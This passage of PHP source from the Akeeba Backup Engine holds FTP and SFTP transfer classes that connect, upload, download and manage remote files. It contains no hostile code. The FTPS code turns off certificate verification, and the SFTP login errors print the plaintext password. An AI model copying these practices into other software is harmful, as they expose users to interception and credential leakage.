	}

	/**
	 * Get the current working directory. NOT IMPLEMENTED.
	 *
	 * @return  string
	 */
	public function cwd()
	{
		$commands = [
			'PWD',
		];

		try
		{
			$result = $this->executeServerCommands($commands, '');
		}
		catch (RuntimeException $e)
		{
			return '/';
		}

		return $result;
	}

	/**
	 * Lists the subdirectories inside an FTP directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool   A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our FTP folder scanner
	 */
	public function listFolders($dir = null)
	{
		if (empty($dir))
		{
			$dir = $this->directory;
		}

		$dir = rtrim($dir, '/');

		$ch = $this->getCurlHandle($dir . '/');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$list = curl_exec($ch);

		$errNo = curl_errno($ch);
		$error = curl_error($ch);
		curl_close($ch);

		if ($errNo)
		{
			throw new RuntimeException(sprintf("cURL Error $errNo ($error) while listing contents of directory \"%s\" – make sure the folder exists and that you have adequate permissions to it", $dir), 500);
		}

		if (empty($list))
		{
			throw new RuntimeException("Sorry, your FTP server doesn't support our FTP directory browser.");
		}

		$folders = [];

		// Convert the directory listing into an array of lines without *NIX/Windows/Mac line ending characters
		$list = explode("\n", $list);
		$list = array_map('rtrim', $list);

		foreach ($list as $v)
		{
			$vInfo = preg_split("/[\s]+/", $v, 9);

			if ($vInfo[0] !== "total")
			{
				$perms = $vInfo[0];

				if (substr($perms, 0, 1) == 'd')
				{
					$folders[] = $vInfo[8];
				}
			}
		}

		asort($folders);

		return $folders;
	}

	/**
	 * Is the verbose debug option set?
	 *
	 * @return  boolean
	 */
	public function isVerbose()
	{
		return $this->verbose;
	}

	/**
	 * Set the verbose debug option
	 *
	 * @param   boolean  $verbose
	 *
	 * @return  void
	 */
	public function setVerbose($verbose)
	{
		$this->verbose = $verbose;
	}

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName)
	{
		$fileName = ltrim(str_replace('\\', '/', $fileName), '/');

		$isInitialDirectory = $fileName === $this->directory;
		$startsWithInitialDirectory = (strpos($fileName, rtrim($this->directory, '/') . '/') === 0)
			|| (strpos($fileName, trim($this->directory, '/') . '/') === 0);

		// Relative file? Add the initial directory
		if (!$isInitialDirectory && !$startsWithInitialDirectory)
		{
			$fileName = '/' . trim($this->directory, '/') .
				(empty($fileName) ? '' : '/') . $fileName;
		}

		return '/' . ltrim($fileName, '/');
	}

	/**
	 * Returns a cURL resource handler for the remote FTP server
	 *
	 * @param   string  $remoteFile  Optional. The remote file / folder on the FTP server you'll be manipulating with cURL.
	 *
	 * @return  resource
	 */
	protected function getCurlHandle($remoteFile = '')
	{
		/**
		 * Get the FTP URI
		 *
		 * VERY IMPORTANT! WE NEED THE DOUBLE SLASH AFTER THE HOST NAME since we are giving an absolute path.
		 * @see https://technicalsanctuary.wordpress.com/2012/11/01/curl-curl-9-server-denied-you-to-change-to-the-given-directory/
		 */
		$ftpUri = 'ftp://' . $this->host . '//';

		$isInitialDirectory = $remoteFile === $this->directory;
		$startsWithInitialDirectory = (strpos($remoteFile, rtrim($this->directory, '/') . '/') === 0)
			|| (strpos($remoteFile, trim($this->directory, '/') . '/') === 0);

		// Relative file? Add the initial directory
		if (!$isInitialDirectory && !$startsWithInitialDirectory)
		{
			$ftpUri .= '/' . trim($this->directory, '/');
		}

		if (!empty($remoteFile) && substr($ftpUri, -2) !== '//')
		{
			$ftpUri .= '/';
		}

		// Add a remote file if necessary. The filename must be URL encoded since we're creating a URI.
		if (!empty($remoteFile))
		{
			$suffix = '';

			if (substr($remoteFile, -7, 6) == ';type=')
			{
				$suffix     = substr($remoteFile, -7);
				$remoteFile = substr($remoteFile, 0, -7);
			}

			$dirname = dirname($remoteFile);

			// Windows messing up dirname('/'). KILL ME.
			if ($dirname == '\\')
			{
				$dirname = '';
			}

			$dirname  = trim($dirname, '/');
			$basename = basename($remoteFile);

			if ((substr($remoteFile, -1) == '/') && !empty($basename))
			{
				$suffix = '/' . $suffix;
			}

			$ftpUri .= '/' . $dirname . (empty($dirname) ? '' : '/') . urlencode($basename) . $suffix;
		}

		// Colons in usernames must be URL escaped
		$username = str_replace(':', '%3A', $this->username);

		$ch = curl_init();

		$this->applyProxySettingsToCurl($ch);

		curl_setopt($ch, CURLOPT_URL, $ftpUri);
		curl_setopt($ch, CURLOPT_USERPWD, $username . ":" . $this->password);
		curl_setopt($ch, CURLOPT_PORT, $this->port);
		curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);

		// Should I enable Implict SSL?
		if ($this->ssl)
		{
			curl_setopt($ch, CURLOPT_FTP_SSL, CURLFTPSSL_ALL);
			curl_setopt($ch, CURLOPT_FTPSSLAUTH, CURLFTPAUTH_DEFAULT);

			// Most FTPS servers use self-signed certificates. That's the only way to connect to them :(
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		}

		// Should I ignore the server-supplied passive mode IP address?
		if ($this->passive && $this->skipPassiveIP)
		{
			curl_setopt($ch, CURLOPT_FTP_SKIP_PASV_IP, 1);
		}

		// Should I enable active mode?
		if (!$this->passive)
		{
			/**
			 * cURL always uses passive mode for FTP transfers. Setting the CURLOPT_FTPPORT flag enables the FTP PORT
			 * command which makes the connection active. Setting it to '-'  lets the library use your system's default
			 * IP address.
			 *
			 * @see https://curl.haxx.se/libcurl/c/CURLOPT_FTPPORT.html
			 */
			curl_setopt($ch, CURLOPT_FTPPORT, '-');
		}

		// Should I enable verbose output? Useful for debugging.
		if ($this->verbose)
		{
			curl_setopt($ch, CURLOPT_VERBOSE, 1);
		}

		// Automatically create missing directories
		curl_setopt($ch, CURLOPT_FTP_CREATE_MISSING_DIRS, 1);

		return $ch;
	}

	/**
	 * Uploads a file using file contents provided through a file handle
	 *
	 * @param   string    $remoteFilename  Remote file to write contents to
	 * @param   resource  $fp              File or stream handler of the source data to upload
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	protected function uploadFromHandle($remoteFilename, $fp)
	{
		// We need the file size. We can do that by getting the file position at EOF
		fseek($fp, 0, SEEK_END);
		$filesize = ftell($fp);
		rewind($fp);

		/**
		 * The ;type=i suffix forces Binary file transfer mode
		 *
		 * @see  https://curl.haxx.se/mail/archive-2008-05/0089.html
		 */
		$ch = $this->getCurlHandle($remoteFilename . ';type=i');
		curl_setopt($ch, CURLOPT_UPLOAD, 1);
		curl_setopt($ch, CURLOPT_INFILE, $fp);
		curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);

		curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		curl_close($ch);
		fclose($fp);

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}
	}

	/**
	 * Downloads a remote file to the provided file handle
	 *
	 * @param   string    $remoteFilename  Filename on the remote server
	 * @param   resource  $fp              File handle where the downloaded content will be written to
	 * @param   bool      $close           Optional. Should I close the file handle when I'm done? (Default: true)
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException
	 */
	protected function downloadToHandle($remoteFilename, $fp, $close = true)
	{
		/**
		 * The ;type=i suffix forces Binary file transfer mode
		 *
		 * @see  https://curl.haxx.se/mail/archive-2008-05/0089.html
		 */
		$ch = $this->getCurlHandle($remoteFilename . ';type=i');

		curl_setopt($ch, CURLOPT_FILE, $fp);

		curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		curl_close($ch);

		if ($close)
		{
			fclose($fp);
		}

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}
	}

	/**
	 * Downloads a remote file and returns it as a string
	 *
	 * @param   string  $remoteFilename  Filename on the remote server
	 *
	 * @return  string
	 *
	 * @throws  RuntimeException
	 */
	protected function downloadToString($remoteFilename)
	{
		/**
		 * The ;type=i suffix forces Binary file transfer mode
		 *
		 * @see  https://curl.haxx.se/mail/archive-2008-05/0089.html
		 */
		$ch = $this->getCurlHandle($remoteFilename . ';type=i');

		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_HEADER, false);

		$ret = curl_exec($ch);

		$error_no = curl_errno($ch);
		$error    = curl_error($ch);

		curl_close($ch);

		if ($error_no)
		{
			throw new RuntimeException($error, $error_no);
		}

		return $ret;
	}

	/**
	 * Executes arbitrary FTP commands
	 *
	 * @param   string[]     $commands    An array with the FTP commands to be executed
	 * @param   string|null  $remoteFile  The remote file / folder to use in the cURL URI when executing the commands
	 *
	 * @return  string  The output of the executed commands
	 *
	 */
	protected function executeServerCommands(array $commands, ?string $remoteFile = null): string
	{
		$remoteFile = $remoteFile ?? ($this->directory . '/');

		$ch = $this->getCurlHandle($remoteFile);

		curl_setopt($ch, CURLOPT_QUOTE, $commands);
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$listing = curl_exec($ch);
		$errNo   = curl_errno($ch);
		$error   = curl_error($ch);
		curl_close($ch);

		if ($errNo)
		{
			throw new RuntimeException($error, $errNo);
		}

		return $listing;
	}
}
com_akeeba/BackupEngine/Util/Transfer/Sftp.php000060400000035342152455305260015305 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use DirectoryIterator;
use Exception;
use RuntimeException;

/**
 * SFTP transfer object
 */
class Sftp implements TransferInterface, RemoteResourceInterface
{
	/**
	 * SFTP server's hostname or IP address
	 *
	 * @var  string
	 */
	private $host = 'localhost';

	/**
	 * SFTP server's port, default: 21
	 *
	 * @var  integer
	 */
	private $port = 22;

	/**
	 * Username used to authenticate to the SFTP server
	 *
	 * @var  string
	 */
	private $username = '';

	/**
	 * Password used to authenticate to the SFTP server
	 *
	 * @var  string
	 */
	private $password = '';

	/**
	 * SFTP initial directory
	 *
	 * @var  string
	 */
	private $directory = '/';

	/**
	 * The absolute filesystem path to a private key file used for authentication instead of a password.
	 *
	 * @var  string
	 */
	private $privateKey = '';

	/**
	 * The absolute filesystem path to a public key file used for authentication instead of a password.
	 *
	 * @var  string
	 */
	private $publicKey = '';

	/**
	 * The SSH2 connection handle
	 *
	 * @var  resource|null
	 */
	private $connection = null;

	/**
	 * The SFTP connection handle
	 *
	 * @var  resource|null
	 */
	private $sftpHandle = null;

	/**
	 * Public constructor
	 *
	 * @param   array  $options  Configuration options for the filesystem abstraction object
	 *
	 * @return  Sftp
	 *
	 * @throws  RuntimeException
	 */
	public function __construct(array $options)
	{
		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = (int) $options['port'];
		}

		if (isset($options['username']))
		{
			$this->username = $options['username'];
		}

		if (isset($options['password']))
		{
			$this->password = $options['password'];
		}

		if (isset($options['directory']))
		{
			$this->directory = '/' . ltrim(trim($options['directory']), '/');
		}

		if (isset($options['privateKey']))
		{
			$this->privateKey = $options['privateKey'];
		}

		if (isset($options['publicKey']))
		{
			$this->publicKey = $options['publicKey'];
		}

		$this->connect();
	}

	/**
	 * Is this transfer method blocked by a server firewall?
	 *
	 * @param   array  $params  Any additional parameters you might need to pass
	 *
	 * @return  boolean  True if the firewall blocks connections to a known host
	 */
	public static function isFirewalled(array $params = [])
	{
		try
		{
			$connector = new static([
				'host'      => 'test.rebex.net',
				'port'      => 22,
				'username'  => 'demo',
				'password'  => 'password',
				'directory' => '',
			]);

			$data = $connector->read('readme.txt');

			if (empty($data))
			{
				return true;
			}
		}
		catch (Exception $e)
		{
			return true;
		}

		return false;
	}

	/**
	 * Save all parameters on serialization except the connection resource
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		return ['host', 'port', 'username', 'password', 'directory', 'privateKey', 'publicKey'];
	}

	/**
	 * Reconnect to the server on unserialize
	 *
	 * @return  void
	 */
	public function __wakeup()
	{
		$this->connect();
	}

	public function __destruct()
	{
		if (is_resource($this->connection))
		{
			@ssh2_exec($this->connection, 'exit;');
			$this->connection = null;
			$this->sftpHandle = null;
		}
	}

	/**
	 * Connect to the FTP server
	 *
	 * @throws  RuntimeException
	 */
	public function connect()
	{
		// Try to connect to the SSH server
		if (!function_exists('ssh2_connect'))
		{
			throw new RuntimeException('Your web server does not have the SSH2 PHP module, therefore can not connect to SFTP servers.', 500);
		}

		$this->connection = ssh2_connect($this->host, $this->port);

		if ($this->connection === false)
		{
			$this->connection = null;

			throw new RuntimeException(sprintf('Cannot connect to SFTP server [host:port] = %s:%s', $this->host, $this->port), 500);
		}

		// Attempt to authenticate
		if (!empty($this->publicKey) && !empty($this->privateKey))
		{
			if (!@ssh2_auth_pubkey_file($this->connection, $this->username, $this->publicKey, $this->privateKey, $this->password))
			{
				$this->connection = null;

				throw new RuntimeException(sprintf('Cannot log in to SFTP server using key files [username:private_key_file:public_key_file:password] = %s:%s:%s:%s', $this->username, $this->privateKey, $this->publicKey, $this->password), 500);
			}
		}
		else
		{
			if (!@ssh2_auth_password($this->connection, $this->username, $this->password))
			{
				$this->connection = null;

				throw new RuntimeException(sprintf('Cannot log in to SFTP server [username:password] = %s:%s', $this->username, $this->password), 500);
			}
		}

		// Get an SFTP handle
		$this->sftpHandle = ssh2_sftp($this->connection);

		if ($this->sftpHandle === false)
		{
			throw new RuntimeException('Cannot start an SFTP session with the server', 500);
		}
	}

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents)
	{
		$fp = @fopen("ssh2.sftp://{$this->sftpHandle}/$fileName", 'w');

		if ($fp === false)
		{
			return false;
		}

		$ret = @fwrite($fp, $contents);

		@fclose($fp);

		return $ret;
	}

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true)
	{
		$fp = @fopen("ssh2.sftp://{$this->sftpHandle}/$remoteFilename", 'w');

		if ($fp === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException("Could not open remote SFTP file $remoteFilename for writing");
			}

			return false;
		}

		$localFp = @fopen($localFilename, 'r');

		if ($localFp === false)
		{
			fclose($fp);

			if ($useExceptions)
			{
				throw new RuntimeException("Could not open local file $localFilename for reading");
			}

			return false;
		}

		while (!feof($localFp))
		{
			$data = fread($localFp, 131072);
			$ret  = @fwrite($fp, $data);

			if ($ret < strlen($data))
			{
				fclose($fp);
				fclose($localFp);

				if ($useExceptions)
				{
					throw new RuntimeException("An error occurred while copying file $localFilename to $remoteFilename");
				}

				return false;
			}
		}

		@fclose($fp);
		@fclose($localFp);

		return true;
	}

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName)
	{
		$fp = @fopen("ssh2.sftp://{$this->sftpHandle}/$fileName", 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Can not download remote file $fileName");
		}

		$ret = '';

		while (!feof($fp))
		{
			$ret .= fread($fp, 131072);
		}

		@fclose($fp);

		return $ret;
	}

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true)
	{
		$fp = @fopen("ssh2.sftp://{$this->sftpHandle}/$remoteFilename", 'r');

		if ($fp === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException("Could not open remote SFTP file $remoteFilename for reading");
			}

			return false;
		}

		$localFp = @fopen($localFilename, 'w');

		if ($localFp === false)
		{
			fclose($fp);

			if ($useExceptions)
			{
				throw new RuntimeException("Could not open local file $localFilename for writing");
			}

			return false;
		}

		while (!feof($fp))
		{
			$chunk = fread($fp, 131072);

			if ($chunk === false)
			{
				fclose($fp);
				fclose($localFp);

				if ($useExceptions)
				{
					throw new RuntimeException("An error occurred while copying file $remoteFilename to $localFilename");
				}

				return false;
			}

			fwrite($localFp, $chunk);
		}

		@fclose($fp);
		@fclose($localFp);

		return true;
	}

	/**
	 * Delete a file (remove it from the disk)
	 *
	 * @param   string  $fileName  The full path to the file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName)
	{
		try
		{
			$ret = @ssh2_sftp_unlink($this->sftpHandle, $fileName);
		}
		catch (Exception $e)
		{
			$ret = false;
		}

		return $ret;
	}

	/**
	 * Create a copy of the file. Actually, we have to read it in memory and upload it again.
	 *
	 * @param   string  $from  The full path of the file to copy from
	 * @param   string  $to    The full path of the file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to)
	{
		$contents = @file_get_contents($from);

		return $this->write($to, $contents);
	}

	/**
	 * Move or rename a file. Actually, we have to read it, upload it again and then delete the original.
	 *
	 * @param   string  $from  The full path of the file to move
	 * @param   string  $to    The full path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to)
	{
		$ret = $this->copy($from, $to);

		if ($ret)
		{
			$ret = $this->delete($from);
		}

		return $ret;
	}

	/**
	 * Change the permissions of a file
	 *
	 * @param   string   $fileName     The full path of the file whose permissions will change
	 * @param   integer  $permissions  The new permissions, e.g. 0644 (remember the leading zero in octal numbers!)
	 *
	 * @return  boolean  True on success
	 */
	public function chmod($fileName, $permissions)
	{
		// Prefer the SFTP way, if available
		if (function_exists('ssh2_sftp_chmod'))
		{
			return @ssh2_sftp_chmod($this->sftpHandle, $fileName, $permissions);
		}
		// Otherwise fall back to the (likely to fail) raw command mode
		else
		{
			$cmd = 'chmod ' . decoct($permissions) . ' ' . escapeshellarg($fileName);

			return @ssh2_exec($this->connection, $cmd);
		}
	}

	/**
	 * Create a directory if it doesn't exist. The operation is implicitly recursive, i.e. it will create all
	 * intermediate directories if they do not already exist.
	 *
	 * @param   string   $dirName      The full path of the directory to create
	 * @param   integer  $permissions  The permissions of the created directory
	 *
	 * @return  boolean  True on success
	 */
	public function mkdir($dirName, $permissions = 0755)
	{
		$targetDir = rtrim($dirName, '/');

		$ret = @ssh2_sftp_mkdir($this->sftpHandle, $targetDir, $permissions, true);

		return $ret;
	}

	/**
	 * Checks if the given directory exists
	 *
	 * @param   string  $path  The full path of the remote directory to check
	 *
	 * @return  boolean  True if the directory exists
	 */
	public function isDir($path)
	{
		return @ssh2_sftp_stat($this->sftpHandle, $path);
	}

	/**
	 * Get the current working directory
	 *
	 * @return  string
	 */
	public function cwd()
	{
		return ssh2_sftp_realpath($this->sftpHandle, ".");
	}

	/**
	 * Returns the absolute remote path from a path relative to the initial directory configured when creating the
	 * transfer object.
	 *
	 * @param   string  $fileName  The relative path of a file or directory
	 *
	 * @return  string  The absolute path for use by the transfer object
	 */
	public function getPath($fileName)
	{
		$fileName = str_replace('\\', '/', $fileName);
		$fileName = rtrim($this->directory, '/') . '/' . $fileName;

		return $fileName;
	}

	/**
	 * Lists the subdirectories inside an SFTP directory
	 *
	 * @param   null|string  $dir  The directory to scan. Skip to use the current directory.
	 *
	 * @return  array|bool  A list of folders, or false if we could not get a listing
	 *
	 * @throws  RuntimeException  When the server is incompatible with our SFTP folder scanner
	 */
	public function listFolders($dir = null)
	{
		if (empty($dir))
		{
			$dir = $this->directory;
		}

		// Get a raw directory listing (hoping it's a UNIX server!)
		$list = [];
		$dir  = ltrim($dir, '/');

		try
		{
			$di = new DirectoryIterator("ssh2.sftp://" . $this->sftpHandle . "/$dir");
		}
		catch (Exception $e)
		{
			throw new RuntimeException(sprintf('Cannot change to SFTP directory "%s" – make sure the folder exists and that you have adequate permissions to it', $dir), 500);
		}

		if (!$di->valid())
		{
			throw new RuntimeException(sprintf('Cannot change to SFTP directory "%s" – make sure the folder exists and that you have adequate permissions to it', $dir), 500);
		}

		/** @var DirectoryIterator $entry */
		foreach ($di as $entry)
		{
			if ($entry->isDot())
			{
				continue;
			}

			if (!$entry->isDir())
			{
				continue;
			}

			$list[] = $entry->getFilename();
		}

		unset($di);

		if (!empty($list))
		{
			asort($list);
		}

		return $list;
	}

	/**
	 * Return a string with the appropriate stream wrapper protocol for $path. You can use the result with all PHP
	 * functions / classes which accept file paths such as DirectoryIterator, file_get_contents, file_put_contents,
	 * fopen etc.
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 */
	public function getWrapperStringFor($path)
	{
		return "ssh2.sftp://{$this->sftpHandle}{$path}";
	}

	/**
	 * Return the raw server listing for the requested folder.
	 *
	 * @param   string  $folder  The path name to list
	 *
	 * @return  string
	 */
	public function getRawList($folder)
	{
		// First try the command for Linxu servers
		$res = $this->ssh2cmd('ls -l ' . escapeshellarg($folder));

		// If an error occurred let's try the command for Windows servers
		if (empty($res))
		{
			$res = $this->ssh2cmd('CMD /C ' . escapeshellarg($folder));
		}

		return $res;
	}

	private function ssh2cmd($command)
	{
		$stream = ssh2_exec($this->connection, $command);
		stream_set_blocking($stream, true);
		$res = @stream_get_contents($stream);
		@fclose($stream);

		return $res;
	}
}
com_akeeba/BackupEngine/Util/Transfer/SftpCurl.php000060400000046600152455305260016132 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Transfer;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use RuntimeException;

/**
 * SFTP transfer object, using cURL as the transport backend
 */
class SftpCurl extends Sftp implements TransferInterface
{
	use ProxyAware;

	/**
	 * SFTP server's hostname or IP address
	 *
	 * @var  string
	 */
	private $host = 'localhost';

	/**
	 * SFTP server's port, default: 21
	 *
	 * @var  integer
	 */
	private $port = 22;

	/**
	 * Username used to authenticate to the SFTP server
	 *
	 * @var  string
	 */
	private $username = '';

	/**
	 * Password used to authenticate to the SFTP server
	 *
	 * @var  string
	 */
	private $password = '';

	/**
	 * SFTP initial directory
	 *
	 * @var  string
	 */
	private $directory = '/';

	/**
	 * The absolute filesystem path to a private key file used for authentication instead of a password.
	 *
	 * @var  string
	 */
	private $privateKey = '';

	/**
	 * The absolute filesystem path to a public key file used for authentication instead of a password.
	 *
	 * @var  string
	 */
	private $publicKey = '';

	/**
	 * Timeout for connecting to the SFTP server, default: 10 minutes
	 *
	 * @var  integer
	 */
	private $timeout = 600;

	/**
	 * Should we enable verbose output to STDOUT? Useful for debugging.
	 *
	 * @var   bool
	 */
	private $verbose = false;

	/**
	 * Should I enabled the passive IP workaround for cURL?
	 *
	 * @var   bool
	 */
	private $skipPassiveIP = false;

	/**
	 * Public constructor
	 *
	 * @param   array  $options  Configuration options
	 *
	 * @return  self
	 *
	 * @throws  RuntimeException
	 */
	public function __construct(array $options)
	{
		if (isset($options['host']))
		{
			$this->host = $options['host'];
		}

		if (isset($options['port']))
		{
			$this->port = (int) $options['port'];
		}

		if (isset($options['username']))
		{
			$this->username = $options['username'];
		}

		if (isset($options['password']))
		{
			$this->password = $options['password'];
		}

		if (isset($options['directory']))
		{
			$this->directory = '/' . ltrim(trim($options['directory']), '/');
		}

		if (isset($options['privateKey']))
		{
			$this->privateKey = $options['privateKey'];
		}

		if (isset($options['publicKey']))
		{
			$this->publicKey = $options['publicKey'];
		}

		if (isset($options['timeout']))
		{
			$this->timeout = max(1, (int) $options['timeout']);
		}

		if (isset($options['passive_fix']))
		{
			$this->skipPassiveIP = $options['passive_fix'] ? true : false;
		}

		if (isset($options['verbose']))
		{
			$this->verbose = $options['verbose'] ? true : false;
		}
	}

	/**
	 * Save all parameters on serialization except the connection resource
	 *
	 * @return  array
	 */
	public function __sleep()
	{
		return [
			'host',
			'port',
			'username',
			'password',
			'directory',
			'privateKey',
			'publicKey',
			'timeout',
			'skipPassiveIP',
			'verbose',
		];
	}

	/**
	 * Test the connection to the SFTP server and whether the initial directory is correct. This is done by attempting to
	 * list the contents of the initial directory. The listing is not parsed (we don't really care!) and we do NOT check
	 * if we can upload files to that remote folder.
	 *
	 * @throws  RuntimeException
	 */
	public function connect()
	{
		$ch = $this->getCurlHandle($this->directory . '/');
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_NOBODY, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

		$listing = curl_exec($ch);
		$errNo   = curl_errno($ch);
		$error   = curl_error($ch);
		curl_close($ch);

		if ($errNo)
		{
			throw new RuntimeException("cURL Error $errNo connecting to remote SFTP server: $error", 500);
		}
	}

	/**
	 * Write the contents into the file
	 *
	 * @param   string  $fileName  The full path to the file
	 * @param   string  $contents  The contents to write to the file
	 *
	 * @return  boolean  True on success
	 */
	public function write($fileName, $contents)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp_curl', 'r+');
		fwrite($handle, $contents);

		// Note: don't manually close the file pointer, it's closed automatically by uploadFromHandle
		try
		{
			$this->uploadFromHandle($fileName, $handle);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Uploads a local file to the remote storage
	 *
	 * @param   string  $localFilename   The full path to the local file
	 * @param   string  $remoteFilename  The full path to the remote file
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function upload($localFilename, $remoteFilename, $useExceptions = true)
	{
		$fp = @fopen($localFilename, 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Unreadable local file $localFilename");
		}

		// Note: don't manually close the file pointer, it's closed automatically by uploadFromHandle
		try
		{
			$this->uploadFromHandle($remoteFilename, $fp);
		}
		catch (RuntimeException $e)
		{
			if ($useExceptions)
			{
				throw $e;
			}

			return false;
		}

		return true;
	}

	/**
	 * Read the contents of a remote file into a string
	 *
	 * @param   string  $fileName  The full path to the remote file
	 *
	 * @return  string  The contents of the remote file
	 */
	public function read($fileName)
	{
		try
		{
			return $this->downloadToString($fileName);
		}
		catch (RuntimeException $e)
		{
			throw new RuntimeException("Can not download remote file $fileName", 500, $e);
		}
	}

	/**
	 * Download a remote file into a local file
	 *
	 * @param   string  $remoteFilename  The remote file path to download from
	 * @param   string  $localFilename   The local file path to download to
	 * @param   bool    $useExceptions   Throw an exception instead of returning "false" on connection error.
	 *
	 * @return  boolean  True on success
	 */
	public function download($remoteFilename, $localFilename, $useExceptions = true)
	{
		$fp = @fopen($localFilename, 'w');

		if ($fp === false)
		{
			if ($useExceptions)
			{
				throw new RuntimeException(sprintf('Download from FTP failed. Can not open local file %s for writing.', $localFilename));
			}

			return false;
		}

		// Note: don't manually close the file pointer, it's closed automatically by downloadToHandle
		try
		{
			$this->downloadToHandle($remoteFilename, $fp);
		}
		catch (RuntimeException $e)
		{
			if ($useExceptions)
			{
				throw $e;
			}

			return false;
		}

		return true;
	}

	/**
	 * Delete a file (remove it from the disk)
	 *
	 * @param   string  $fileName  The full path to the file
	 *
	 * @return  boolean  True on success
	 */
	public function delete($fileName)
	{
		$commands = [
			'rm ' . $this->getPath($fileName),
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Create a copy of the file. Actually, we have to read it in memory and upload it again.
	 *
	 * @param   string  $from  The full path of the file to copy from
	 * @param   string  $to    The full path of the file that will hold the copy
	 *
	 * @return  boolean  True on success
	 */
	public function copy($from, $to)
	{
		// Make sure the buffer:// wrapper is loaded
		class_exists('\\Akeeba\\Engine\\Util\\Buffer', true);

		$handle = fopen('buffer://akeeba_engine_transfer_ftp', 'r+');

		try
		{
			$this->downloadToHandle($from, $handle, false);
			$this->uploadFromHandle($to, $handle);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

	/**
	 * Move or rename a file
	 *
	 * @param   string  $from  The full path of the file to move
	 * @param   string  $to    The full path of the target file
	 *
	 * @return  boolean  True on success
	 */
	public function move($from, $to)
	{
		$from = $this->getPath($from);
		$to   = $this->getPath($to);

		$commands = [
			'rename ' . $from . ' ' . $to,
		];

		try
		{
			$this->executeServerCommands($commands);
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		return true;
	}

